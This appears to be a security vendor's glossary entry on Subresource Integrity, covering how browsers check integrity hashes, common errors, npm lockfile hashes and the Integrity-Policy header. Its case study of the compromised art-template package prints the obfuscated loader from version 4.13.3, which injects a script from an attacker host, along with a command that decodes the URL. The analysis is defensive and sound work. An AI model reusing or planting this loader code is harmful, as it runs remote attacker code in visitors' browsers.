Back to glossary

Subresource Integrity (SRI)

Subresource Integrity (SRI) is a browser check that blocks a script or stylesheet unless its bytes match a cryptographic hash pinned in the page's HTML.

Also known as Sub-resource Integrity, integrity attribute

Subresource Integrity (SRI, sometimes written sub-resource integrity) is a browser check that refuses to run a script or apply a stylesheet unless its bytes hash to the value pinned in the page's integrity attribute. A compromised CDN therefore cannot silently swap code. SRI verifies that content is unchanged, not that it is safe.

A <script src> tag pointing at another origin hands that origin full JavaScript execution inside your page. HTTPS proves you reached the right server. It says nothing about whether the server is sending the file you tested last month. Subresource Integrity closes that gap by moving the trust decision from the URL to the content. The W3C specification states the goal plainly: "Compromise of a third-party service should not automatically mean compromise of every site which includes its scripts."

Our position: SRI is mandatory for any static third-party file, and it only works when the URL is pinned to an exact version. A hash on a URL that can change is a scheduled outage. A changeable URL without a hash is an auto-update channel for whoever controls the upstream account. Below we show both failure modes on a real supply chain attack that is still partly live on npm.

How does Subresource Integrity work?

#

Subresource Integrity works by hashing the fetched bytes in the browser and comparing the result to a digest the page author wrote into the HTML. The integrity value is an algorithm prefix plus a base64-encoded digest. You generate it once from the exact file you reviewed, using any standard hashing tool:

Bash
$ curl -sSO https://registry.npmjs.org/jquery/-/jquery-3.7.1.tgz
$ tar -xzf jquery-3.7.1.tgz
$ echo "sha384-$(openssl dgst -sha384 -binary package/dist/jquery.min.js | base64 -w0)"
sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs
HTML, XML
<script
  src="https://cdn.example.com/jquery@3.7.1/dist/jquery.min.js"
  integrity="sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs"
  crossorigin="anonymous"></script>

The attribute applies to <script> and to <link> with rel="stylesheet", preload, or modulepreload. Browser support is effectively universal: Chrome 45, Firefox 43, Safari 11, and Edge 17 all enforce it, according to caniuse. Enforcement happens in a fixed order, and two of the steps surprise people.

One script tag, six checks

  1. Parse the hash list. Keep only entries with a known prefix: sha256-, sha384-, sha512-. Unknown prefixes are ignored.
    No valid entries left: the tag behaves as if integrity were absent
  2. Fetch in CORS mode. crossorigin="anonymous" makes the request a CORS request.
    Cross-origin, no Access-Control-Allow-Origin: blocked before hashing
  3. Decode the body. Transport compression such as gzip is removed first, so it never changes the hash.
  4. Pick the strongest algorithm present. SHA-512 beats SHA-384 beats SHA-256. Weaker entries are discarded, even if they would match.
  5. Hash and compare. Any one entry of the strongest algorithm may match.
    No match: blocked, console reports the computed digest
  6. Execute or apply.
    Bytes are exactly what the page author pinned

The figure lists the six checks a browser runs on one tagged script. First, it parses the hash list and ignores entries whose prefix is not sha256-, sha384-, or sha512-; if nothing valid remains, the tag behaves as if it had no integrity attribute. Second, it fetches in CORS mode, and a cross-origin response without Access-Control-Allow-Origin is blocked before hashing. Third, it removes transport compression such as gzip, so compression never changes the hash. Fourth, it keeps only the strongest algorithm present (SHA-512 over SHA-384 over SHA-256) and discards weaker entries even if they would match. Fifth, it hashes the body and blocks on mismatch, printing the computed digest to the console. Sixth, it executes the script or applies the stylesheet.

The CORS requirement exists to stop a data leak. If SRI worked on opaque no-cors responses, any page could test whether a cross-origin file matches a guessed hash. Browsers therefore reject the combination outright. In our test, fetch(url, {mode: "no-cors", integrity: ...}) rejected immediately in Chromium 153.

The strongest-algorithm rule changes how hash rotation works. We loaded jQuery with a correct sha256- digest and a wrong sha384- digest in the same attribute. Chromium blocked it, because only the SHA-384 entry counted. Listing old and new hashes during a migration works only when both use the same algorithm. Our test with two sha384- entries, one of them matching, loaded normally.

ES modules were a gap until recently. A statically tagged module could carry a hash, but anything it pulled in with import could not. Import maps now accept an integrity map from URL to digest, which shipped in Chromium 127 in 2024 and covers dynamic import() as well:

HTML, XML
<script type="importmap">
{
  "integrity": {
    "/square.js": "sha384-c/WCUEVlQHhefqLEepgj8vFdygGWSuqbuo+hcrI4mOQCeHDAo+ogoTa5JsrKjgSz"
  }
}
</script>
<script type="module">
  // Rejected with "Failed to fetch dynamically imported module" if square.js changes
  const { side } = await import("/square.js");
</script>

SRI pins bytes, not URLs

#

Subresource Integrity can only protect a URL whose correct content never changes. That sounds obvious until you look at how npm-backed CDNs map URLs to files. jsDelivr and unpkg serve files straight out of npm registry tarballs. unpkg "automatically serves any public npm package over HTTPS", which the operators of the Beamglea phishing campaign exploited as free hosting. jsDelivr resolves version ranges and latest to a concrete release, and caches aliased versions for up to 7 days. Exact versions are cached "effectively forever."

So cdn.jsdelivr.net/npm/pkg@4/file.js is not a file. It is a query: "the newest 4.x the registry will give me, as of this week." The answer changes the moment a new version is published, by anyone holding the package's publish rights.

A real case: art-template

#

We pulled the registry metadata and tarballs for art-template, a JavaScript templating engine whose lib/template-web.js is the browser build people embed. Socket's Threat Research team documented the art-template compromise in May 2026, after the package was handed to an unknown party who shipped a loader for the Coruna iOS exploit kit. The registry's own history shows the sequence. As of November 8, 2026, this is what the registry metadata reports:

VersionPublishedPublisherlib/template-web.jsStatus in registry
4.13.22018-11-13aui (original author)Clean. sha384-D0k5LKj+w4IqQ8H4ENAGWUZgTmrW4KaWQzyQk2YIxaVldVNuYDdiMt8HaKlObabYAvailable
4.13.32025-03-12v4v5qcAppends a String.fromCharCode loader for git.youzzjizz[.]com/git.js. sha384-/vYdt7e+CYitcgKa3wzYbtXAc8TYxrePf5NTdEdvSgdR6tTqoP5Vt9mXynhZM856Still available
4.13.42025-03-14v4v5qcLoader removed; banner repointed to a different GitHub repositoryAvailable, tagged latest
4.13.5, 4.13.62026-05-19, 2026-05-20Not in metadataPlaintext loader for v3.jiathis[.]com, per Socket's analysisRemoved from the versions list

Three facts stand out. The new publisher's first release was malicious, 14 months before the version that drew attention. The obfuscated loader in 4.13.3 is a few lines of code obfuscation that turns a byte array into a URL. And 4.13.3 is still installable today, with a perfectly valid registry integrity hash. This is a maintainer account takeover by transfer rather than by theft, and nothing in the registry metadata flags it.

Bash
# Static inspection only. Never load this file in a browser.
$ curl -sSO https://registry.npmjs.org/art-template/-/art-template-4.13.3.tgz
$ tar -xzf art-template-4.13.3.tgz
$ grep -o 'function scriptMagician.*' package/lib/template-web.js | fold -w 72
function scriptMagician(){var script=document.createElement('script');sc
ript.src=String.fromCharCode.apply(null,[104,116,116,112,115,58,47,47,10
3,105,116,46,121,111,117,122,122,106,105,122,122,46,99,111,109,47,103,10
5,116,46,106,115]);script.onload=function(){if(typeof initBaiduShare==='
function'){initBaiduShare();}};script.onerror=function(){};document.head
.appendChild(script);}scriptMagician();

$ python3 -c "print(bytes([104,116,116,112,115,58,47,47,103,105,116,46,121,111,117,122,122,106,105,122,122,46,99,111,109,47,103,105,116,46,106,115]).decode())"
https://git.youzzjizz.com/git.js

Now consider three ways a site could have embedded this file from an npm-backed CDN.

art-template on an npm-backed CDN

What three URL strategies execute as each release lands. A = @4.13.2 + SRI. B = @4 range, no SRI. C = range URL + 4.13.2's SRI hash.

2018-11-13
4.13.2

Last release by the original author.

A runs 4.13.2B runs 4.13.2C runs 4.13.2
2025-03-12
4.13.3

New publisher. String.fromCharCode loader for git.youzzjizz[.]com/git.js appended to lib/template-web.js.

A runs 4.13.2B runs loaderC blocked
2025-03-14
4.13.4

Loader removed. Banner now points to a different GitHub repository.

A runs 4.13.2B runs 4.13.4C blocked
2026-05-19/20
4.13.5, 4.13.6

Plaintext loader for v3.jiathis[.]com, leading to a Coruna exploit kit watering hole.

A runs 4.13.2B runs loaderC blocked

Strategy C fails closed: the page breaks, but no attacker code runs. Only A keeps working and stays safe. A range URL can only move forward. A pinned URL plus a hash cannot move at all.

The timeline compares three URL strategies as each release lands. Strategy A pins @4.13.2 with 4.13.2's SRI hash. Strategy B uses an @4 range with no SRI. Strategy C uses a range URL but carries 4.13.2's hash. On 2018-11-13, all three run the clean 4.13.2. On 2025-03-12, 4.13.3 adds the git.youzzjizz[.]com loader: A still runs 4.13.2, B runs the loader, and C is blocked. On 2025-03-14, 4.13.4 removes the loader: A runs 4.13.2, B runs 4.13.4, C stays blocked. On 2026-05-19 and 2026-05-20, 4.13.5 and 4.13.6 add the v3.jiathis[.]com loader that leads to the Coruna watering hole: A runs 4.13.2, B runs the loader, C stays blocked. C fails closed, so the page breaks but no attacker code runs. Only A keeps working and stays safe. The jsDelivr alias cache can delay B's switch by up to a week, which is luck, not protection.

We reproduced strategy C locally in Chromium 153. We served the 4.13.3 file under the 4.13.2 hash, with all external network requests blocked as a precaution:

Plain text
[log]   pinned 4.13.2 bytes: function
[error] Failed to find a valid digest in the 'integrity' attribute for resource
        'http://127.0.0.1:8002/npm/art-template@4.13.3/lib/template-web.js' with computed
        SHA-384 integrity '/vYdt7e+CYitcgKa3wzYbtXAc8TYxrePf5NTdEdvSgdR6tTqoP5Vt9mXynhZM856'.
        The resource has been blocked.
[log]   4.13.3 bytes under the 4.13.2 hash; loader script tags in DOM: 0

The loader never ran, so it never injected its second <script>. That is the entire value of SRI in one log line.

Why SRI could not have saved polyfill.io users

#

SRI could not have protected polyfill.io users, because the service never returned a stable file to hash. polyfill.io generated a different bundle per browser, based on request headers. Sansec reported on June 25, 2024 that more than 100,000 sites embedded cdn.polyfill.io after a buyer acquired the domain and GitHub account in February 2024. As we covered in the polyfill.io attack, the injected code redirected only specific mobile devices, at specific hours, and stayed quiet for admin users.

You cannot pin a hash to a response that varies by User-Agent. Any third-party script that updates in place at a fixed URL is in the same position: it is unhashable by design. The service's creator, Andrew Betts, had already told users to drop it: "No website today requires any of the polyfills in the polyfill.io library."

We think this is the most useful test SRI offers. If a vendor cannot give you a URL whose bytes you can hash, you are running their deploy pipeline in your origin. For pages that handle credentials or payments, that should be a disqualifying property, not a footnote.

Self-hosting is the usual answer, and it moves trust rather than removing it. In March 2026 we found six malicious Packagist themes that bundled a trojanized jQuery, with payloads tied to Funnull, the company that bought polyfill.io. No CDN was involved; the poisoned copy was vendored into the package. A hash check against the upstream jQuery release would have exposed it immediately, because a vendored file is just a pinned dependency without the pin.

How do you fix Subresource Integrity errors?

#

You fix a Subresource Integrity error by finding out why the bytes or the request changed, then fixing that cause. Copying the "computed" digest from the console into your HTML is the one fix you should not make blindly. That digest describes whatever the server sent, including a tampered file. We reproduced each common failure in Chromium 153; the messages below are verbatim.

Chromium console messageUsual causeFix
Failed to find a valid digest in the 'integrity' attribute for resource '…' with computed SHA-384 integrity '…'. The resource has been blocked.The file changed: a range or latest URL moved, a build re-minified, or a CDN optimizer rewrote the bytes. Also the error you get when the file was tampered with.Pin an exact version. Diff the new bytes against the reviewed ones before updating the hash. Disable edge rewriting for hashed assets.
Same message, but the computed value matches the file you expectedThe integrity value is hex (openssl dgst default output) instead of base64, or carries the wrong prefixUse openssl dgst -sha384 -binary piped to base64, and match the prefix to the algorithm
Same message, with a SHA-384 value, though your SHA-256 entry is correctMixed algorithms. Only the strongest present is checked.Keep every entry on the same algorithm
Subresource Integrity: The resource '…' has an integrity attribute, but the resource requires the request to be CORS enabled to check the integrity, and it is not. The resource has been blocked because the integrity cannot be enforced.The crossorigin attribute is missing, so the request was no-corsAdd crossorigin="anonymous"
Access to script at '…' from origin '…' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.The host does not send CORS headersConfigure the host to send Access-Control-Allow-Origin, or self-host the file

Transport compression is not a cause. We served the same jQuery build gzip-encoded and the original hash still matched, because the browser hashes the decoded body. Line-ending or whitespace changes are a cause, since they change the bytes themselves.

SRI strings in npm lockfiles

#

Subresource Integrity strings are also how npm records package hashes. The registry publishes dist.integrity for every version, and package-lock.json stores the same value. npm's documentation describes the field as "a Standard Subresource Integrity for this resource." The only difference is the input. HTML SRI hashes one file, while npm hashes the whole tarball, usually with SHA-512:

Bash
$ curl -s https://registry.npmjs.org/jquery/3.7.1 | jq -r .dist.integrity
sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==

$ echo "sha512-$(openssl dgst -sha512 -binary jquery-3.7.1.tgz | base64 -w0)"
sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==

Both layers inherit the same limit. art-template 4.13.3 has a valid dist.integrity, and a lockfile that recorded it reinstalls the backdoor on every clean install. A hash proves the bytes match what was recorded. It does not prove the recorded bytes deserved trust. It also offers nothing if the attacker controls the document carrying the hash. Someone who can edit your HTML or your build output rewrites the integrity attribute along with the src.

The security decision therefore happens at pin time, when someone chooses which bytes get a hash. That is where we focus. Socket analyzes the contents of each package version rather than its metadata. Alerts such as URL strings and obfuscated code target exactly the change 4.13.3 introduced: a templating library that suddenly builds an external URL out of a character array.

How do you enforce SRI on every script?

#

You enforce Subresource Integrity on every script with the Integrity-Policy response header, defined in the SRI Level 2 draft. The integrity attribute is opt-in per tag, so one forgotten attribute leaves a gap. With blocked-destinations=(script), the browser refuses every script that lacks integrity metadata. A report-only variant logs violations without blocking.

HTTP
Integrity-Policy: blocked-destinations=(script), endpoints=(integrity-reports)
Integrity-Policy-Report-Only: blocked-destinations=(script)

As of November 2026, support for the script destination starts at Chrome 138, Edge 138, and Firefox 145, with partial support in Safari 26. In our Chromium 153 test, an untagged jQuery stayed blocked under the policy while a tagged copy loaded. The policy pairs naturally with a Content Security Policy (CSP). CSP decides where code may come from; Integrity-Policy requires that each file prove what it is.

Compliance pushes the same way. PCI DSS requirement 6.4.3, in force since March 31, 2025, requires payment-page scripts to be authorized and integrity-checked. SRI satisfies the integrity half for static files. In January 2025 the PCI Security Standards Council removed 6.4.3 from SAQ A for merchants who fully outsource their payment pages, replacing it with an eligibility check on script attacks. Merchants validating with other questionnaires still carry it.

Choosing between SRI, CSP, and self-hosting

#
ControlWhat it guaranteesWhat it does not coverCost
SRI on a pinned URLThe exact bytes you reviewed, or nothingMalicious bytes at pin time; dynamic or evergreen scripts; an attacker who can edit your HTMLA hash update on every upgrade
SRI on a range or latest URLThat the page breaks when upstream changesAvailability: every upstream publish is an outageSelf-inflicted downtime
CSP allowlist of hostsCode comes only from listed originsAnything a listed origin serves, including a hijacked domainPolicy maintenance; breaks on new vendors
Self-hostingNo third party at request timePoisoned copies vendored at build time; your own server compromiseYou own patching and caching
Integrity-Policy headerNo script runs without integrity metadataWhether the pinned hash was a good choiceEvery script needs a hash, including first-party bundles

Our verdict: self-host or pin exact versions, put SRI on every external script and stylesheet, and enable Integrity-Policy in report-only mode first, then enforce it. Use CSP to restrict origins in addition to SRI, never instead of it. Refuse third-party scripts that cannot be pinned on any page that handles credentials or payments.

The hard part of SRI was never the hash. Generating one takes a single openssl command. The hard part is the moment someone decides which bytes deserve one. art-template's backdoored 4.13.3 has had a valid integrity hash on npm since March 2025, and any tool that blindly pinned it would have locked the backdoor in.